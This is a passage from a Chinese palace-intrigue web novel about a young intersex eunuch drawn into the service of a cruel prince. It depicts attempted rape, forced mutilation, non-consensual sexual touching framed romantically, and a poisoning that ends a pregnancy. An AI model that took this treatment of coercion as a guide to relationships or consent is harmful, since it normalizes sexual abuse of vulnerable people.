胖太监跑得气喘吁吁,还是没跟上萧疏的脚步。 在所有人没注意到的时候,很多女眷们都不在这边,而本应该守在太子妃身边的老太监,也突然告假,说身体不适,太子妃厌烦地让他离开,赶紧回去休息。 老太监在一个竹林后边的小池子里,手搅着浑浊起来的水,笑得越来越不怀好意。 方闻钟是被两个小太监强行拉到这里来的,看到越来越偏的竹林,方闻钟手里摸出来那把精美锋利的刀,小太监们刚开始说太子有事找他,方闻钟只信了一瞬,就警惕起来。 太子怎么可能找他,就算要吩咐做些什么,也会是老太监来与他知晓。 这怕是那老鬼派来的! 方闻钟起初不想去,大白天的他们还能强行弄走他! 但很快,方闻钟就反应过来了!为什么不可能,这里是皇宫,是脏污纳垢最多的地方,老太监想来强的,想弄死一个人,还不是手到擒来。 况且,他的把柄还在他手上!若不明面上先顺从,方闻钟不确定老太监会不会把他的秘密说出去……那时,他就真的四面皆敌,举步维艰。 怎么惨死的都不知道。 方闻钟越想越怕,他脸颊白白的,嘴里都被他咬出了血,紧紧绷着唇,跟在两个小太监往进走。 他甚至脑子里想过,要不要,杀了他们! 但三个人…… “我自己进去吧,我知道是干爹传唤我,我自会去伺候他,”方闻钟突然冷静地说,在前面带路的两个小太监突然神情变了一下,似笑非笑,这是让他们在外面不要去打扰的意思,知道干爹平日里的习惯,两人说:“好。” 方闻钟独自进去竹林,林子里雾气弥漫,一股灼热的迷人的香气传来,这边大大小小好多颜色各异的汤池,高高低低错落有致,他手里的刀,更紧了些。 老太监见方闻钟一人面色平常地来了,露出了满意的笑,还以为方闻钟挺识相。 “快来干爹这里,”他摆着死人一样的手,方闻钟看到他裸露的难看的上半身皮肉,只觉一阵恶心难忍。 方闻钟与他虚与委蛇…… “看看那边是什么动静,”萧疏泡在池子里,下半身穿着裤子坐在石阶上,露出精装的上身,他摆了摆手臂,头疼地抵住太阳xue。 胖太监立马躬身退出去,往发出声响的地方去。 殿下心情实在不好。 胖太监正走着走着,忽然听到后面跟上脚步声,萧疏直接那样从水里出来,墨发上滴滴答答流着水,连那带伤的下巴上也滴下去一滴一滴水…… “殿下,你怎么跟着一起来了,老奴亲自去就好!”胖太监一边说着,一边赶紧把萧疏的红衣替他穿上。 胖太监恨死这会儿发出声响,吵到主子的人了。 主子一身煞气,待会儿那边若是有人,就祈祷他们能活过今天天黑吧! 二皇子带着胖太监穿过隔着的竹林,来到这边小池子,忽然就看到一个光裸着身子,甚至露出屁股的老人!在爬着追一个白生生的小太监! 小太监衣服也被脱得衣衫不整! 谁能想到,老太监竟是身上有点功夫的!方闻钟手里的刀,被他早早早夺过去,扔在一边!方闻钟的右手被他直接掰断了,方闻钟痛呼,他在老太监的拳脚下挣扎,当裤子被扒去时,当衣服一点点被扯开,方闻钟终于忍不住眼泪流出来,哭得绝望无助。 老太监紧紧捂住方闻钟的嘴,不让他大叫引来别人,他垂涎欲滴地看向身下的小太监,手哆哆嗦嗦就往他身上探去! 方闻钟眼球快崩裂了!他突然软了一下,老太监心喜,然后就低下头来稍微放松了一下抓他的手。 刹那间!方闻钟爆发出最大的力气,一下抬头撞上去然后狠狠咬住老太监的耳朵! “啊!啊啊啊啊!”老太监尖尖的惨叫声,吓得林子里有鸟都飞走了,二皇子就是被这声吵到的。 血顺着老太监的耳朵,流到他脖子里,流到方闻钟嘴里,身上抓他的力道早没了,方闻钟“呸”,吐出去!老太监的耳朵直接被他咬下来了! 方闻钟赶紧跑! 他脸上又是泪水又是满口污血,衣衫不整,后面老太监恨急了,穷追不舍。 方闻钟知道!今天不能善了,就算他逃出去,他还是会被老太监找各种理由弄死,除非,除非……他去拿那把刀,反正这里又没人。 同样的一双脚,踩在那把刀上。 方闻钟抬头。 他看到了一个红衣美人,红衣美男居高临下地冷漠垂眼,方闻钟最后的心气,全卸掉了,瘫坐在地上,现在谁出现在这里,他都觉得是魔鬼,是仇敌。 老太监赤裸着身子抱着耳朵追上来,突然被人一脚朝腰上踹飞,这才慌里慌张,从方闻钟刚才给他的致命一击中回过神来,然后他就看到了二皇子,和踹他的二皇子的得力大太监。 “混账东西,混账东西,”胖太监踹飞老太监后还一直咒骂,简直污了殿下的眼。 老太监也瘫坐在地上,完了,遇到谁不好,遇到和太子有仇的二殿下。 萧疏捡起那把刀,仔细看了看,然后他抽出刀刃,刮了刮手指,似乎挺喜欢这把刀的锋利,腿边的脑袋像个死人一样垂下去,可一滴滴泪,啪啪砸在萧疏脚边,萧疏又不是瞎子,自然能看得到。 胖太监在那边审问怎么回事,尽管心有猜测,还是肃着脸边问边在老太监和方闻钟身上视线来回徘徊。 知道自己今天莽撞了,碰上方闻钟这么个刚烈的!还倒霉遇上二皇子! 老太监阴鸷地干脆破罐子破摔,老实交代,他不好过,也要拉个垫背的! “老奴发现他下面长了个女人的玩意儿,可和我们不一样,”他说。 话音骤落,本来装死的方闻钟转头狠狠瞪过去,“当,”那把刀重新掉在方闻钟手边,萧疏扔下后背过手,长长的眼尾一扫,一挑,“想做什么?” 二皇子的态度一下让老太监慌了,他直接跪着朝这边边哭边求饶,甚至想抓住萧疏的裤子,可他颤抖的皮肉和身子,实在太让萧疏恶心,“滚!”一声厉呵!把人吓得直接钉在原地。 萧疏突然蹲下去,方闻钟手里已拿着那把刀,萧疏眼神又疯又沉,手直接掰着方闻钟的下颌说:“本殿下给你做主,想做什么,杀了他?去!” 方闻钟发抖,被那双随时随地要人命的眸子摄取着,方闻钟只感觉下一秒自己也可能不合他心意被他弄死。 “唔!” 突然,他剧痛的感觉传来,让他从头疼到脚,萧疏卸了他下巴,只因为他不听话。 方闻钟眼泪水一样的往下掉,手赶紧紧紧重新握住刀,跪爬着离开往老太监那边去。 老太监的害怕,方闻钟已经顾不上,他举着刀手越发抖得厉害! 他没杀过人。 老太监又开始求方闻钟,他突然变得好可怜啊,方闻钟还是觉得他丑陋,难堪,他摇着头,自己也说不了话。 忽然,萧疏说:“算了,漂亮东西总是心软,”他不知道突发什么莫名其妙的兴趣,过来蹲下来,靠在方闻钟背后,大手朝他握着刀的手上一起握上去,老太监被他点了xue,动不了,说不了话。 萧疏忍着脏,把老太监的舌头拉出来,贴着方闻钟朝方闻钟道:“割了他的舌头,就不怕他说出去了。” 方闻钟不禁朝旁边看去,他只觉得男人的笑令他心颤,他的好心也好像恶魔一样,裹挟着他往不知名的方向去,手被抓着往前。 方闻钟不敢看老太监的眼睛。 最后一刹那,萧疏松了手,可方闻钟还是下定决心!“啊!”他一刀向老太监的舌头割去!竟整整从根割断! 鲜血如注,方闻钟眨着眼皮,滚烫的血,洒在他脸上。 萧疏擦了擦手,“偏一毫,就伤到我了呢,漂亮东西。” “不过还算听话,”萧疏站起身,朝一直观看的胖太监示意,胖太监立马把老太监弄走,被割了舌头,在这行宫里,老太监的下场还是死路一条,只不过是立马死,还是再苟延残喘,在巨大的痛苦和恐惧中死去。 只剩方闻钟和萧疏两个人时,萧疏替他掰好下巴,方闻钟又是痛得当场落泪,可依旧不敢发出一声声音。 “还算听话,”他听着二皇子仔细端望着他的脸,说。 人突然被抱起来,方闻钟生出巨大的空落和迷茫。 第59章 亵玩 重新被泡在池子里,这里换了一个更大的宽敞的池子,方闻钟没一会儿就被泡得浑身发热,但他不敢动弹,二皇子就在他旁边,依旧仰着头,坐在石阶上,长臂伸展,似乎睡着了。 方闻钟今天才对二皇子狠厉无情的传言有了些实感,之前,他一直觉得他是那个马上笑得像太阳一样的男人,会害怕伤到他救人,现在才知道,他在宫里,是人人惧怕的二殿下。 腿伤之后,更让他时时刻刻都像个不知道什么时候爆发的疯子! 萧疏的眼神突然看过来,吓得方闻钟一抖,大气都不敢喘。 萧疏忽然笑起来,朝他游过来,手一撑,方闻钟竟被他从腰上抓着放在上面玉石台上坐下。 方闻钟不知道他要做什么,害怕地往后躲,同时,忘了右手被老太监掰断了,他往地上一碰,顿时疼得立马收起来。 萧疏一看,似是明白了,他长长的骨节、指尖,往他的手臂上一抓,一弄,方闻钟就感觉一阵暗劲传来,虽然刚才仍然很痛,但很快竟然好了,二皇子帮他弄好了手! 当萧疏的手,落在他腿上!方闻钟才反应过来他下面什么都没穿! 萧疏撩起挡着的衣服,笑颜如花,方闻钟却觉得恐怖如斯,他听到他说:“下边长了个什么玩意儿,我看看,是不是和你一样漂亮。” 方闻钟忍不住伸腿踢他腰! 被萧疏牢牢抓住脚踝。 自己的脚骨快要被捏碎了,方闻钟坐着,往后躲,然后因为痛,扭来扭去慢慢躺下去,半趴着,再也不敢反抗了。 老太监那里,他可以拚死了不让他舒心! 他拿什么和二皇子斗!拿一面之缘的交情吗?二皇子明显记得他,才一直叫他漂亮东西,可能因为这点缘分,在这深宫里一次两次不杀他,就算是二皇子手下留情了。 再指望别的什么,方闻钟知道是异想天开。 他不躲了,整个人却抖着,哭得越来越无声。 衣服还是被撩起来,甚至萧疏的手指碾上去那个地方! 巨大的陌生的触感让方闻钟如鱼儿离开水面一样,可他被死死扼住喉咙! 从来没有被人看过!更甚者摸过的地方!现在被一个他心里一直惦记着的男人像什么好东西一样新奇地摸来摸去,听到那男人嗤笑了一声,然后看到他皱着的眉头。 方闻钟突然就想死了算了,他生出一股滔天的自我厌恶感! 他讨厌自己的那个地方,由一开始的怕、羞,到现在全剩悲凉,他好像天生就像一个下贱玩意儿,引人来嬉弄,可嬉弄都有人不喜欢。 他发出来声音,哭得越来越大声,方闻钟不怕被二皇子怪罪了,还有什么更可悲的事吗。 二皇子像听不到他哭,也丝毫没有动摇,直到他玩得兴致过去了,弄到方闻钟身体里奇奇怪怪的感觉出来,哭都哭不出来,他才面无表情收回手。 方闻钟被他揽起上半身,“以后就跟着本殿下好不好?还是你想继续留在太子那儿?” 萧疏的表情压根不是商量,方闻钟只好答应。 “怎么进宫了?” 这句问话一出来,方闻钟起先一愣,然后时间骤然被压缩,这三年前前后后,尤其这一两月的事,被方闻钟快速闪回脑海,他再也憋不住了,手忍不住抓住萧疏的衣襟,哭得忘乎所以。 这一刻的委屈、悲愤,似乎因为这一句故人之言,喷涌而出。 他现在是一个小太监,真的割去了男人那玩意儿,还长了个奇奇怪怪的器官,现在全被萧疏发现,方闻钟在他面前再也抬不起头来,二皇子显然懒得理他哭什么,他头疼,因为方闻钟这抓着他衣服哭就像在他耳边凿他的脑子,他一下扣住他的嘴! “闭嘴!” 直接吓回去。 方闻钟抽抽噎噎,也渐渐回过神了,现在可不是在这里伤春悲秋的时候,“双性人?怎么进的宫?” 方闻钟不说,他当然不会出卖贺璋(探花郎)和六皇子,被二皇子一瞥,他极力控制。 萧疏说:“好彩头,原来我三年前就给自己搏了个好彩头,”他意有所指,忽然跳出水面,蒸发完水蒸气,一身红衣披上,“我还挺喜欢你的,下边那个东西,也挺喜欢,”萧疏摸了摸嘴唇,“以后在我身边伺候吧。” 他发完话,方闻钟赶紧也从水中出来,像一个可怜的落汤鸡一样跟在他身后。 那把刀重新回到他手里,萧疏问:“叫什么?” 方闻钟抿唇,“欢,欢欢,”他忍着羞耻说了句真话,这是他的乳名,“殿下以后可以叫我欢欢。” 萧疏回过头望了他一眼,笑里藏刀,方闻钟看不懂,只好重新跟上他的新主子。 或许在这边,比在太子那边,更利于他探查。 胖太监看到跟着二皇子回来的方闻钟,方闻钟还有点胆怯地看他,胖太监挺不是滋味,明知他身体有异,还是太子那边的人,殿下这么光明正大把人弄过来,究竟是为了那档子事,还是为了太子? 揣摩了一下殿下的心思,胖太监把方闻钟带在身边。 “以后殿下需要的时候,勤快点儿往跟前凑,殿下腿不好,不要让他累着了,自己上去主动点。” “好,好。” 方闻钟比之前乖多了,胖太监表情有些僵硬,这是听懂了还是没听懂? “哼,”他甩了一下拂尘。 转天萧疏以及一众重要人物,都被皇帝召见,太子脸色有些不自然,臭着表情,萧疏这才知道,昨天他离席后,还出了一件大事。 一个身家清白的官家女子,突然贸然闯进行宫,就是为了来找太子! 她挺着身孕,一个弱女子在婢女搀扶下,发髻微乱汗湿后贴在脸上,她那么无措又那么脆弱,只因她与太子早早有私情,太子答应以后娶她,她也把身子早早献给了太子,可现在家里却逼着她与别人成亲,她无法只好逃出家里,来找太子求救。 太子被懵逼地抓住裤脚,女人哭得梨花带雨,仰着头央求,“源郎,源郎,看在我们孩子的份上求求你劝劝我爹,我不求名分不求嫁给你,我只求我们的孩子好好的活着啊!他有爹爹!他有自己的爹爹!” 女子的手一寸寸紧抓着太子,也就是萧源的裤脚,然后慢慢滑下去。 她一番言语真情实感,可信息量实在大! 不止天家看愣了,连大臣们都有点没反应过来,能直呼太子的名讳,可见太子私下里有多宠爱这女子,女子又说未婚前和太子有染,但家里不知情,还被父亲逼迫成亲,让太子劝劝父亲。 这说明这女子家中为官者必不是七八品小芝麻官,太子在无婚约的情况下,竟与大臣爱女私相授受,实在有伤风化,且对臣子轻慢无礼! 但若一切属实,她肚里的孩子,又是太子的庶长子,一步登天,不知幸还是不幸。 皇帝替大家问出了都想知道的问题:这到底是谁家女子? 当视线聚集在太子身上时,太子又尴尬,又气愤,他突然想到了萧疏之前提醒他的:你养的外室是别人的!儿子也是冒牌货!莫非说的就是她? 女人微隆起来的肚子,在太子眼里越来越刺眼。 他还想到,这时候是谁放她轻易进行宫的?是谁教她在众目睽睽之下逼他? 太子看向女子的表情,不再柔情蜜意,而是全是怀疑和刺探。 “说话!”上面的呵斥,提醒着皇帝的怒火,太子只好老实说出那个名讳:言大人之女,言卿卿。 言大人是谁,是当朝第一谏官,一片哗然,太子这是把自己架在火上烤啊! 连皇帝都气得一时失去语言,这个混账东西,皇帝只好立马下令,封言卿卿为太子侧妃,先把这件事稳住再说。 要是让言大人纠缠下去!太子名声坏了且不说!他甚至还可能逼迫言卿卿去死!并不想让言家攀上飞上皇家的名声!但言卿卿身上毕竟有太子第一个孩子。 太子妃当然是反对的,但比她先一步跳出来拒绝的竟是太子本人! 太子忍着皇帝晦暗如深的视线,有些拘谨道:“儿臣,儿臣还想再考虑考虑,儿臣会和言大人商讨的,”他不想要一个已经不清白的女人! 太子侧眼看向低着头算计什么的言卿卿,忽略了上面皇帝对他荒唐无脑行事的彻底失望。 今天皇帝就是要说:准备离开行宫,回朝,还给太子递了个视线,“言大人已经在殿外恭候多时,太子可想好如何处置?” 不等太子说什么,皇帝忽然转头对准萧疏:“疏儿今天跟父皇一起走。” 萧疏随意,听到后就只嗯了一下。 皇帝离开,太子和萧疏等人在后,太子眼看又恨起萧疏来了,他知道这件事让父皇很不满,父皇是借对萧疏的喜欢,警告他吗? 察觉到落在身上不善的眼神,萧疏凑过去,在太子耳边轻声说:“蠢货!” 骂完太子,不待太子发作,他又说:“你就不想知道,言卿卿和谁有婚约了?言家看上的是谁?” 太子顿住脚步。 “萧疏!”他冷漠发问:“你是怎么知道的,”知道他和言家的事,他口中的玷污了言卿卿,肚里的孩子为父另有其人,又是谁? 太子越想怒火越深,萧疏却留给他一个潇洒的背影,什么都不愿意说了。 被特许坐在皇帝坐撵上,萧疏不见丝毫恭敬和讨好,皇帝见他比自己还自在,完全没有两人昨天还大吵一架的尴尬,闭了闭眼,捏着拳头说:“疏儿,昨天是父皇不对,但父皇再爱你,有些事你也不能做的太过了。” “儿臣明白,”萧疏淡定道。 “怪父皇吗,父皇在你小时候,思念你母妃,常对你说什么好东西都留给你,但太子的身份在那里。” 皇帝本以为萧疏会说不怪,却听到他说:“怪,父皇,你看三弟今天那样子,有个太子的样吗?” 他直言不讳地鄙夷太子的品性,也就是鄙夷皇帝看好的下一任继承人! 皇帝瞳孔收缩,死死看着萧疏,可越看,他心里的负面情绪越来越消失,疏儿今天能敞开跟他说这些话,说明他们还是父子间的谈话,萧疏有情绪正常,但对他还是当父亲看待的!因此才会在不待见另一个兄弟时,毫不藏私地在他面前表露出来。 萧疏腿伤了,注定登不了位,他自己也明白,那他再放肆点又如何? 皇帝不介意“宠”着这么一个一眼就看穿的儿子,“你的正妃之位一直空着,可有心仪之人?”太子都搞出来这么多事了,当二哥的还没人。 “父皇这是要补偿我吗?”萧疏和皇帝一起喝着茶问。 “若是呢?” “那便补偿些别的吧,”萧疏垂着眼,靠在车壁上,“儿臣觉得平日里这皇宫无聊得紧,腿瘸了,更想常出去走走。” …… 萧疏再从皇帝坐撵上下来,得到了一块如朕亲临的金牌,以及随时都能出宫的口谕。 这戏演得值当。 他抛着牌子,收入腰中。 太子和太子妃收拾好东西离开行宫时,忽然发现外面住处一个池塘里飘着一具尸体! “啊!”太子和太子妃都吓了一大跳! 尸体头朝下,背朝上,没穿衣服,已经泡得白白胖胖!让下人翻过身来,更恶心! 才发现那人一只耳朵没了,眼睛死不瞑目,老态龙钟,竟是太子妃身边伺候的大太监! 太子二人一时捂着鼻子紧皱着眉头,越看越厌烦,人死了,被割掉一只耳朵,又听闻下人突然惊惧道:“舌头!舌头也没了!” 太子狠狠背过手臂,被这样折磨,还敢光明正大把尸体抛向他们这里!必是这太监听到看到了什么,才让人灭口,可动手之人也不怕太子,就是明晃晃地打脸! 一时,太子都不做他想,就是萧疏无疑! 除了萧疏,行宫内没人敢这么狂傲不羁!太子猜到是老太监得罪萧疏了,萧疏正好借由此事找他不痛快。 能恶心到他也好! 太子和太子妃,想一块去了,一点没多想是牵扯进别的事,纯属二皇子有病!对少了一个小太监,也完全没放在心里…… 方闻钟,就这样轻轻松松成了二皇子的人。 抛尸的活儿,是萧疏让方闻钟一个人去做的。 胖太监都有些不忍,老太监痛苦的死后,尸体自然难看,可萧疏就背着手,冷漠地吩咐方闻钟,“自己去处理。” 方闻钟刚开始有点手抖,后来抱着老太监时,吃力地把他摔下去!然后自己趴在尸体身上! 他以为自己会吓哭,但没有,眼眶里刚涌出一点眼泪,就被他憋住了! 他知道二皇子在背后看,在二皇子这里,虽然没人教他,但方闻钟先自己揣测出一个道理,就是他说什么!就做什么! 不然会很惨!很惨! 跌跌撞撞地把尸体搬出去!终于有人帮他搭把手了,听闻萧疏的吩咐,把尸体抛到太子那边池塘,方闻钟一边恐怖于他的胆大,一边又爽又高兴! 他就当自己也报了一点点小仇! 啪!尸体落入水中,砸上来水花,方闻钟不怕太子这里的人发现他,欺负他!他背后可是二皇子! 方闻钟摸了一把脸,有些小跑起来,赶紧去找萧疏。 被胖太监先拎去洗洗涮涮,碰过尸体的人,怎么能近前伺候殿下,胖太监一点没心软,直到把方闻钟洗白白,才允许他换上干净漂亮衣服,眼瞅着终于顺眼了些,“去吧,殿下在沐浴,机灵点。” “好!” 方闻钟轻手轻脚地走进去,穿越屏风,看到一个巨大的木桶里飘着热气,然后一个男人的臂膀伸出来,他长长的指尖,勾着一瓣花,碾碎。 听到背后的脚步声,萧疏眉毛微蹙,很快正常。 “殿下,我来伺候您。” 萧疏的手背,背对着方闻钟,他食指向前点了点,意思是方闻钟再往前走走,他看不到。 直到方闻钟走到他侧边视线范围内,萧疏眼尾微挑,“谁让你穿这身?” 方闻钟看看自己,撩了撩衣袖,也觉得不方便,胖太监给他穿了一身青色的层层纱衣,衬得方闻钟越像块可口的点心,可萧疏说:“太监是这样伺候人的?” 方闻钟难堪,他悄悄往后退,准备换回原来的衣服,被萧疏紧紧攥住手腕。 “既然穿了不该穿的衣服,那就干些不该干的事。” “哗啦!” “啊!” 方闻钟一下被萧疏扔进浴桶,他呛了水,手忙脚乱地往水面上挣扎!慌乱中不知道摸到多少下萧疏的腿! 萧疏一直面无表情地看着,直到他终于在浴桶中站稳,站起身,几片花瓣沾在他有点透的衣服上。 方闻钟眼睛都有点睁不开,却能感觉到二殿下很不开心,他顿时不敢再呆住,顺手拿起一块干燥的布巾,就慢慢靠近他,准备去擦他的身体! 萧疏终于闭上眼。 方闻钟暗暗松了一口气,替他擦拭完身上,洗完腿,方闻钟害怕自己出去带的一身水,于是手绕过萧疏脖子,替他擦后面头发,都弄干了,才轻声道:“好了,殿下。” 萧疏起身,他伟岸的身躯就在方闻钟眼前,方闻钟还坐在桶里,他背过身,出去,穿好衣服,人离开。 方闻钟在桶里啪啪拍了两下水,不知是在玩,还是在想刚才的事。 看到殿下先出来,一会儿才看到小欢子湿哒哒地出来,胖太监疑惑,这是成了还是没成? “殿下心情如何?”胖太监拉着方闻钟问,方闻钟沉默片刻,点点头,“一般。” 胖太监准备给方闻钟找点怎么教他伺候人的书,难得殿下对他挺有兴趣,可方闻钟实在蠢笨。 回到皇宫,方闻钟住在二皇子这边,他好几天晚上辗转反侧,无他,他又换地方了! 然而那个暗卫还不知道,这次他能轻松找到他吗? 方闻钟都不知道如何主动联系他。 已经有三天晚上没有见到他了,也没有任何字条,而这三天,他都在二皇子附近,看来二皇子比太子那里,可严实多了。 第四天,第五天,当方闻钟都已经习惯于每天要伺候萧疏沐浴,有时候还要给他布菜时,他在二皇子的眼神下由一开始的战战兢兢,到终于能当个不被嫌弃的小太监了,暗卫突然出现。 方闻钟一下翻身坐起来,“你去了哪里?” 暗卫不回答他,方闻钟又接着道:“我往后就要在二皇子宫中了,你还要继续来保护我吗?” 暗卫只是沉默地点头。 方闻钟放松肩膀,“那你前几天晚上?” 暗卫说:“二皇子这里,不好接近,我不能保证每天晚上都在。” 方闻钟点头,也能想到,毕竟如果没猜错的话,太子没有功夫,可二皇子功夫挺深,且警惕心绝对强。 “随便,你是这宫里的暗卫吗?”方闻钟换个方式探听。 暗卫突然甩过来一个眼色,拒绝他这个称呼。 但方闻钟可不怕他,他怕二皇子没办法,但暗卫现在算他半个自己人啊,虽然之前打算和他一起杀人,最后出现了意外,但方闻钟已经接纳了暗卫,在心里挺依赖他。 他跪坐在榻上,眼睛明亮,问:“你究竟是谁派来的啊?这宫里还有不想我死,想保护我的吗?你们真的知道我真实身份吗?” “方闻钟。” 方闻钟突然被叫了大名,愣住! 暗卫又哑又沉的声音传来,“你觉得二皇子想你死吗?”他说。 这真是个不好回答的问题,本心上,他不希望二皇子对他有杀心,但又清楚,二皇子什么时候想杀了他,也有很大可能。 方闻钟经常觉得那个男人就像个漂亮狮子似的,尤其他坐在水里,他替他擦洗身体。 他如此惹人喜爱,禁不住多看两眼,可当狮子睁眼,不知道你在他心里,是玩物,还是猎物。 他惧怕他,不是单纯的害怕,而是夹杂着一点颤抖和不自已。 想着想着,方闻钟出神了。 暗卫已经落在房梁上,抱着剑不理会方闻钟。 方闻钟抬头,“以后我可以主动找你吗?比如,有危险的时候,我吹一声哨子,没事你就不用来了,这里对你很危险。” 暗卫没说话,第二天晚上,却给了他一个新做的木哨子。 丑丑的。 方闻钟要试吹,被捂住嘴,他好像,闻到了一股很相似的味道。 手已放开。 第60章 萧疏捏着方闻钟的脖子。 在方闻钟不知道的时候,朝堂之上,一件件大事相继发生。 首先,言大人对太子的抨击!激烈到骂到太子面红耳赤!坐都坐不住,下面听着的大臣,各个低着头,却竖起耳朵!连皇帝也不好多说什么,死死地扶着龙椅。 听言大人以死相逼。 太子要是不向天下人请罪,不自昭自己不当的言行,言大人就一头撞死在雕龙柱上。 他不要求太子娶言卿卿,他只想让太子认错自省,至于女儿,一盏青灯送去古佛了事,终于被皇帝制止了,皇帝压制着怒气说:“你是要谋害皇孙吗?” 言大人不敢再言语。 太子此时也火上浇油,“言大人,劳烦你好好问问你的女儿,她身上的真的是我们皇家的种吗?” “不会是和别人苟合,还妄想冒充龙子龙孙进宫?” 一颗石子落入表面平静的水面,嗡的一声,皇帝和其他大臣齐齐看向语出惊人的太子殿下,言大人被激地站都站不稳,手哆哆嗦嗦指向太子。 太子欺人太甚!竟敢泼这样的脏水和大罪! 皇帝却往后一靠,慢慢心有成算,太子能说出这样的话,必然之中有其他差池,且任他往后处理吧。 言大人当场没撞柱,却一病不起,是被别人搀扶下去的。 之后几日,弹劾太子的摺子越来越多,言官们骂起人来花样百出,入木三分,甚至还有废黜太子的提议。 太子看到那本摺子是四皇子的人,一个和柔妃有关的大臣提出来的,气得直接把手中的纸张捏碎,现在他已知道,言家给言卿卿定亲的男方,就是柔妃的亲弟弟。 四皇子的舅舅。 这一下,相当于太子直接打了四皇子的脸,他们不闹他才怪,柔妃也没少在皇帝耳边吹枕边风,“太子行事不端,欺人太甚。” 太子和四皇子针尖对麦芒,四皇子又是个得理不饶人的,行事莽撞,他这种莽撞,何尝不是背后之人想要的结果。 他直接堵在太子面前,不给他好脸色,一点没有当弟弟,甚至半个臣子的自觉,不止言辞直白地斥责他,差点还打起来,还好侍卫们拦住了! 就这,太子被四皇子在脸上揍了一拳,半边脸青肿,太子负责的几件朝中事务的官员,相继落马,有些明显是四皇子的势力在作祟,有些不知何人在其中浑水摸鱼。 总之,等太子细一谋算,忽然发现,支持他的或为他做事的人,竟一下子少去三分之一! 就因为言卿卿这事!把他和四皇子摆在台面上两虎相斗!他还是出丑的那个! 太子默默地敲着桌子,算计! 不对! 整件事看起来是四皇子因为和他有龃龉,针对他!从而让自己的人顶替上去!四皇子的势力慢慢在朝中崭露头角,但从头到尾,有一个人太安静了! 他不止没受损,甚至有时候空出空缺来,太子的人和四皇子的人两边都不适合上去时,是他的人被皇帝接二连三提上去的! 那就是六皇子,萧琛。 太子捏着扳指咯咯响,他问候着的属下,“言卿卿那边查得怎么样了?她与谁有染?” 属下恭敬道:“还未查出具体是谁,但半年前,到三个月之前,这一段时间言卿卿经常在外行动,”她都是带着面巾,瞒着家里和婢女偷偷出去的,有时候逛一些胭脂首饰铺子,再去茶楼歇息,有时候直接去城外香火庙,一待就是一整天。 三个月,太子就是三个月之前,和言卿卿认识的。 初始时,他只觉得言卿卿明媚动人,即使不知道他的身份,还对他那么明眸皓齿,客气地微笑,还帮他解了一个小麻烦,那次出行,太子的钱袋掉了,被店家拦住时,太子刚想摆明身份处理,是言卿卿上来替他付了钱,还关照了几句。 太子就记住了这个女人,事后他们偶尔碰到过好几次。 言卿卿有意勾引,太子却只当对这女子爱护心切,所以他们苟合在一起,太子提出心悦她时,还是言卿卿说‘自知贵人身份尊贵,我怕是配不上,但能与郎君欢好一场,便是我这囿于囹圄的一生中,极大的福分’。 太子听后心中熨帖,还以为她是清白的青楼女子,才这么胆大又不甘,谁料好久之后才知晓,她是言大人之女!唯一的爱女! 那时太子已经离不开言卿卿了,他便猜测,必是言大人平日里太苛责以礼压制这个女儿,才让她那么离经叛道,在男女一事上,比他宫里最低等的侍妾,还要让他心头痒上几分。 太子的拳头越捏越紧,如果一切都是一场阴谋呢? 如果三个月之前,言卿卿是有意接近他,且一开始就知道他的身份呢? 如果那时她便刚有身孕…… 桌上的茶盏全被太子扫落下去,他阴气森森,“去查和六皇子有关的人!从上到下里里外外都查一遍!我还不信了这件事和他毫无关系。” “是。” 属下离开,太子背着手走出去,萧疏提醒他的,萧疏知晓的真相,怕都是和老六有关吧,所以他才骂他蠢货! 人不禁念叨,太子想着萧疏,就这么迎面撞上了不知道在宫里闲逛干啥的二皇子! 他身后跟着一批太监宫女,再往后还有帮他摘花弄鱼的侍卫,太子看得皱眉,“胡闹!”他们把池塘折腾得鸡飞狗跳,二皇子就坐在躺椅上,看下面的人给他摘荷叶用来弄鱼,杀鱼的小太监,脸白生生的,手红红的,猛一抬头,太子愣了一瞬,怎么感觉有点眼熟? 但很快他就被二皇子三言两语气走了。 “太子这是管女人不成,管到我头上来了?” 萧疏依旧坐着,太子来后,礼都不行,朝他举了举杯中酒,“要尝尝吗?据说这是益州之地好不容易寻来的,六弟的人在那边快平乱回来了,特意让人先带了些酒回京,我尝着这味道不错,便跟父皇要了些,太子呢?” 酒杯倾斜,太子听后心头攥起,“不用!”他沉着气说,再也顾不上什么不起眼的小太监了。 益州一事已到尾声,虽然六皇子没查到任何于他不利的事,但平乱对六皇子而言,又是大功一件! 太子念了一句“萧琛”,在萧疏压下来的散漫的眼神下,快步离开。 前朝争得如火如荼,后宫也不罢休,柔妃见天儿地给皇帝上眼药,皇后倒是稳得住,彷佛陷入困境的不是太子,不是她自己的亲儿子。 端妃静看她们闹闹哄哄,四下无人时,也紧紧抓住贴身伺候的老宫女的手,肃着脸说:“太子怎知言卿卿肚子里的孩子不是他的?谁走漏的风声!” “报!” 那天,益州彻底平乱,回京报功的时候,另一个人,也被太子抓到朝堂之上! 被太子绑着,嘴角打出血痕的男子,是一个风流倜傥的美男子,朝中众人熟知他的人不少!甚至有人当场站起来,眼眶发红,因为他就是太子太傅的亲孙子! 六皇子的亲表哥。 端妃的侄儿。 知道他不光是因为他的身份,还有他是京中有名的纨袴!拈花惹草,招蛐逗鸟,无所不干,但又不是罪大恶极,只能名声越来越大,由他去了。 太子太傅手脚哆嗦地望向太子,然太子压根不看他,“父皇,关于言卿卿一事,我已查清了,这就向父皇禀告。” “不要!”太傅震惊道。 太子猛一把把他孙子往后一扯,纨袴美男直接倒在地上,龇牙咧嘴,太子表面还能据理力争,实则内心气急,因为他查到的,可不止言卿卿和太傅之孙有染! 日前,当太子让人去查和六皇子相关的人时,他还把言卿卿也一起抓来了。 言卿卿现在就是众矢之的,但太子要见她,她只能去。 于是在言大人昏倒在家养病的时候,言卿卿被掳来了太子后院。 言卿卿也听到了太子是怎么气昏她父亲的,她有点害怕,太子是如何知晓她的身孕之谜,明明,明明太子从未怀疑过,他为何突然那样笃定。 衣襟被攥起来,曾经说着喜爱她的男人,这一刻面目可憎,逼问她到底有过哪些男人?在和他之前,是不是就已经不清白了,去行宫又是谁指使她的! 言卿卿不能说实话,走到这一步,说实话就是欺君之罪,就是死!所以她咬死了不松口,只说没有谁,孩子就是太子的,“源郎,源郎……”她哭得我见犹怜祈求他。 却换来萧源一脚踢上她的肚子!骂她“贱人。” “啊,”言卿卿痛苦地捂住肚子,她有点后悔了,后悔当初爱上那个男人,后悔后来听一个女人的话。 言卿卿在太子后院被折磨了三天,三天之后,她面如枯槁,如同一个恶鬼似的,昨夜,太子妃一碗毒药下去,她的肚子瘪了。 太子妃才不管她怀的是不是太子的种,知道这个女人勾引太子,知道她可能进东宫,太子妃就不可能放过她! 